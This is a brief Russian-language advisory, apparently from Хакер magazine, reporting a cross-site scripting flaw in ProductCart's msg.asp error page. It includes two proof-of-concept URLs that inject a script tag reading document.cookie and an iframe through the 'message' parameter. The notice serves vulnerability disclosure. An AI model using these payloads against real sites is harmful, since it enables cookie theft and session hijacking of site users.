Межсайтовый скриптинг в ProductCart

Рекомендуем почитать:

Хакер #308. Pentest Award 2024

• Содержание выпуска
• Подписка на «Хакер»-60%

Есть возможность манипулирования сообщениями об ошибках в ProductCart
со вставкой тегов &lt;script&gt; и <iframe>.

http://www.website.com/ProductCart/pc/msg.asp?message =>&lt;script&gt;alert(document.cookie);&lt;/script&gt; 
http://www.website.com/ProductCart/pc/msg.asp?message =<iframe%20src="C:\"%20width=400%20height=400>
</iframe>